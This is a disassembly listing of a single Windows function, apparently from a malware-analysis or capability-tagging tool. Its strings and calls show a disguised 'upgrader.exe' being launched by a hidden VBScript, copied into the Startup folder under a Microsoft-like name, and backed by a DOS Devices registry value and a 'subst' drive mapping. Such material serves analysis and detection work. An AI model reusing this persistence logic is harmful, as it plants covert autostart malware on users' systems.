Function at 0x140009514
Capabilities:
Check if file exists
Copy file
Move file
Set registry value

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
lea rbp, [rax - 0x2c8]
sub rsp, 0x3b0
mov qword [rbp + 0x160], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
lea rdx, str.C:WindowsTempupgrader.back
lea rcx, [rbp + 0x98]
call fcn.14000b404
nop
lea rdx, str.set_wsWScript.CreateObject__WScript.Shell___nws.Run___HomePath_AppDataLocalTempupgrader.exe__0
lea rcx, [rbp - 0x30]
call fcn.14000b404
nop
lea rdx, [rbp + 0x98]
lea rcx, [rbp + 0x170]
call fcn.14000b554
nop
lea rdx, [rbp - 0x30]
lea rcx, [rbp + 0x170]
call fcn.14000eb98
lea rcx, [rbp + 0x178]
call fcn.14000de44
xor esi, esi
test rax, rax
jne 0x1400095c5
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rcx, [rbp + rcx + 0x170]
mov edx, dword [rcx + 0x10]
or edx, 2
mov eax, edx
or eax, 4
cmp qword [rcx + 0x48], rsi
cmove edx, eax
xor r8d, r8d
call fcn.140002ba8
lea rdx, [0x14004b548]
lea rcx, [rsp + 0x30]
call fcn.14000b404
nop
lea rdx, str.Microsoft_Date_Tools_Upgrader.back
lea rcx, [rsp + 0x58]
call fcn.14000b404
nop
lea rcx, str.APPDATA
call fcn.140023d84
mov rdx, rax
lea rcx, [rbp - 0x58]
call fcn.14000b404
nop
lea r8, str.MicrosoftWindowsStart_MenuPrograms
lea rdx, [rbp - 0x58]
lea rcx, [rbp - 0x80]
call fcn.14000ee78
nop
lea r8, [rsp + 0x58]
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 8]
call fcn.14000ef44
mov r12d, 8
cmp qword [rax + 0x18], r12
jb 0x140009639
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov ebx, eax
cmp qword [rbp + 0x10], r12
jb 0x140009653
mov rcx, qword [rbp - 8]
call fcn.140020ec0
test ebx, ebx
je 0x140009760
cmp qword [rbp - 0x68], r12
jb 0x14000966a
mov rcx, qword [rbp - 0x80]
call fcn.140020ec0
mov ebx, 7
mov qword [rbp - 0x68], rbx
mov qword [rbp - 0x70], rsi
mov word [rbp - 0x80], si
cmp qword [rbp - 0x40], r12
jb 0x14000968a
mov rcx, qword [rbp - 0x58]
call fcn.140020ec0
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x48], rsi
mov word [rbp - 0x58], si
cmp qword [rsp + 0x70], r12
jb 0x1400096a7
mov rcx, qword [rsp + 0x58]
call fcn.140020ec0
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x68], rsi
mov word [rsp + 0x58], si
cmp qword [rsp + 0x48], r12
jb 0x1400096c7
mov rcx, qword [rsp + 0x30]
call fcn.140020ec0
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
lea rax, [rbp + 0x218]
mov qword [rbp + 0x2d8], rax
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x170], rax
lea rcx, [rbp + 0x178]
call fcn.14000b830
nop
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x170], rax
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x218], rax
lea rcx, [rbp + 0x218]
call fcn.14003b254
nop
cmp qword [rbp - 0x18], r12
jb 0x14000974f
mov rcx, qword [rbp - 0x30]
call fcn.140020ec0
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x20], rsi
mov word [rbp - 0x30], si
jmp 0x140009d11
lea r8, str.Startup_
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 8]
call fcn.14000ee78
nop
lea r8, [rsp + 0x58]
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.14000f004
cmp qword [rax + 0x18], r12
jb 0x14000978f
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
mov edi, eax
cmp qword [rbp + 0x60], r12
jb 0x1400097a9
mov rcx, qword [rbp + 0x48]
call fcn.140020ec0
mov ebx, 7
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x58], rsi
mov word [rbp + 0x48], si
cmp qword [rbp + 0x10], r12
jb 0x1400097c9
mov rcx, qword [rbp - 8]
call fcn.140020ec0
test edi, edi
je 0x1400098d1
cmp qword [rbp - 0x68], r12
jb 0x1400097e0
mov rcx, qword [rbp - 0x80]
call fcn.140020ec0
mov qword [rbp - 0x68], rbx
mov qword [rbp - 0x70], rsi
mov word [rbp - 0x80], si
cmp qword [rbp - 0x40], r12
jb 0x1400097fb
mov rcx, qword [rbp - 0x58]
call fcn.140020ec0
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x48], rsi
mov word [rbp - 0x58], si
cmp qword [rsp + 0x70], r12
jb 0x140009818
mov rcx, qword [rsp + 0x58]
call fcn.140020ec0
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x68], rsi
mov word [rsp + 0x58], si
cmp qword [rsp + 0x48], r12
jb 0x140009838
mov rcx, qword [rsp + 0x30]
call fcn.140020ec0
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
lea rax, [rbp + 0x218]
mov qword [rbp + 0x2d8], rax
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x170], rax
lea rcx, [rbp + 0x178]
call fcn.14000b830
nop
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x170], rax
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x218], rax
lea rcx, [rbp + 0x218]
call fcn.14003b254
nop
cmp qword [rbp - 0x18], r12
jb 0x1400098c0
mov rcx, qword [rbp - 0x30]
call fcn.140020ec0
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x20], rsi
mov word [rbp - 0x30], si
jmp 0x140009d11
lea rdx, [0x14004b618]
lea rcx, [rbp + 0x70]
call fcn.14000b404
nop
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x70]
call fcn.140002610
lea r11, [rbp + 0x2d0]
mov qword [rsp + 0x20], r11
mov r9d, 2
xor r8d, r8d
lea rdx, str.SYSTEMCurrentControlSetControlSession_ManagerDOS_Devices
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea r11, [rbp + 0x70]
cmp qword [rbp + 0x88], r12
cmovae r11, qword [rbp + 0x70]
lea rdx, [rsp + 0x30]
cmp qword [rsp + 0x48], r12
cmovae rdx, qword [rsp + 0x30]
mov eax, dword [rbp + 0x80]
lea eax, [rax + rax + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], r11
mov r9d, 1
xor r8d, r8d
mov rcx, qword [rbp + 0x2d0]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp + 0x2d0]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rsp + 0x30]
lea rdx, str.subst
lea rcx, [rbp + 0x138]
call fcn.14000ea9c
nop
lea r8, [0x14004b6b0]
mov rdx, rax
lea rcx, [rbp + 0x110]
call fcn.14000eb68
nop
lea r8, [rbp - 0x80]
mov rdx, rax
lea rcx, [rbp + 0x48]
call fcn.14000f004
nop
lea r8, [0x14004b6ac]
mov rdx, rax
lea rcx, [rbp + 0xc0]
call fcn.14000eb68
nop
cmp qword [rbp + 0x60], r12
jb 0x1400099dc
mov rcx, qword [rbp + 0x48]
call fcn.140020ec0
mov qword [rbp + 0x60], rbx
mov qword [rbp + 0x58], rsi
mov word [rbp + 0x48], si
cmp qword [rbp + 0x128], r12
jb 0x1400099fd
mov rcx, qword [rbp + 0x110]
call fcn.140020ec0
mov qword [rbp + 0x128], rbx
mov qword [rbp + 0x120], rsi
mov word [rbp + 0x110], si
cmp qword [rbp + 0x150], r12
jb 0x140009a27
mov rcx, qword [rbp + 0x138]
call fcn.140020ec0
mov qword [rbp + 0x150], rbx
mov qword [rbp + 0x148], rsi
mov word [rbp + 0x138], si
lea rcx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], r12
cmovae rcx, qword [rbp + 0xc0]
call fcn.140023ef4
lea r8, [0x14004b320]
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 8]
call fcn.14000ee78
nop
lea r8, [rsp + 0x58]
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.14000f004
cmp qword [rax + 0x18], r12
jb 0x140009a86
mov rax, qword [rax]
lea rcx, [rbp + 0x98]
cmp qword [rbp + 0xb0], r12
cmovae rcx, qword [rbp + 0x98]
xor r8d, r8d
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_CopyFileW]
cmp qword [rbp + 0x38], r12
jb 0x140009ab7
mov rcx, qword [rbp + 0x20]
call fcn.140020ec0
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x30], rsi
mov word [rbp + 0x20], si
cmp qword [rbp + 0x10], r12
jb 0x140009ad2
mov rcx, qword [rbp - 8]
call fcn.140020ec0
lea r8, str.Startup_
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x280]
call fcn.14000ee78
nop
lea r8, [rsp + 0x58]
mov rdx, rax
lea rcx, [rbp - 8]
call fcn.14000f004
mov rdi, rax
lea r8, [0x14004b320]
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0xe8]
call fcn.14000ee78
nop
lea r8, [rsp + 0x58]
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.14000f004
cmp qword [rdi + 0x18], r12
jb 0x140009b32
mov rdi, qword [rdi]
cmp qword [rax + 0x18], r12
jb 0x140009b3b
mov rax, qword [rax]
mov r8d, 4
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_MoveFileExW]
cmp qword [rbp + 0x38], r12
jb 0x140009b5c
mov rcx, qword [rbp + 0x20]
call fcn.140020ec0
mov qword [rbp + 0x38], rbx
mov qword [rbp + 0x30], rsi
mov word [rbp + 0x20], si
cmp qword [rbp + 0x100], r12
jb 0x140009b7d
mov rcx, qword [rbp + 0xe8]
call fcn.140020ec0
mov qword [rbp + 0x100], rbx
mov qword [rbp + 0xf8], rsi
mov word [rbp + 0xe8], si
cmp qword [rbp + 0x10], r12
jb 0x140009ba1
mov rcx, qword [rbp - 8]
call fcn.140020ec0
mov qword [rbp + 0x10], rbx
mov qword [rbp + 8], rsi
mov word [rbp - 8], si
cmp qword [rbp + 0x298], r12
jb 0x140009bc2
mov rcx, qword [rbp + 0x280]
call fcn.140020ec0
call fcn.1400093d8
nop
cmp qword [rbp + 0xd8], r12
jb 0x140009bdd
mov rcx, qword [rbp + 0xc0]
call fcn.140020ec0
mov qword [rbp + 0xd8], rbx
mov qword [rbp + 0xd0], rsi
mov word [rbp + 0xc0], si
cmp qword [rbp + 0x88], r12
jb 0x140009c04
mov rcx, qword [rbp + 0x70]
call fcn.140020ec0
mov qword [rbp + 0x88], rbx
mov qword [rbp + 0x80], rsi
mov word [rbp + 0x70], si
cmp qword [rbp - 0x68], r12
jb 0x140009c25
mov rcx, qword [rbp - 0x80]
call fcn.140020ec0
mov qword [rbp - 0x68], rbx
mov qword [rbp - 0x70], rsi
mov word [rbp - 0x80], si
cmp qword [rbp - 0x40], r12
jb 0x140009c40
mov rcx, qword [rbp - 0x58]
call fcn.140020ec0
mov qword [rbp - 0x40], rbx
mov qword [rbp - 0x48], rsi
mov word [rbp - 0x58], si
cmp qword [rsp + 0x70], r12
jb 0x140009c5d
mov rcx, qword [rsp + 0x58]
call fcn.140020ec0
mov qword [rsp + 0x70], rbx
mov qword [rsp + 0x68], rsi
mov word [rsp + 0x58], si
cmp qword [rsp + 0x48], r12
jb 0x140009c7d
mov rcx, qword [rsp + 0x30]
call fcn.140020ec0
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
lea rax, [rbp + 0x218]
mov qword [rbp + 0x2d8], rax
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x170], rax
lea rcx, [rbp + 0x178]
call fcn.14000b830
nop
mov rax, qword [rbp + 0x170]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov qword [rbp + rcx + 0x170], rax
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x218], rax
lea rcx, [rbp + 0x218]
call fcn.14003b254
nop
cmp qword [rbp - 0x18], r12
jb 0x140009d05
mov rcx, qword [rbp - 0x30]
call fcn.140020ec0
mov qword [rbp - 0x18], rbx
mov qword [rbp - 0x20], rsi
mov word [rbp - 0x30], si
cmp qword [rbp + 0xb0], r12
jb 0x140009d26
mov rcx, qword [rbp + 0x98]
call fcn.140020ec0
lea r11, [rsp + 0x3b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r12
pop rdi
pop rbp
ret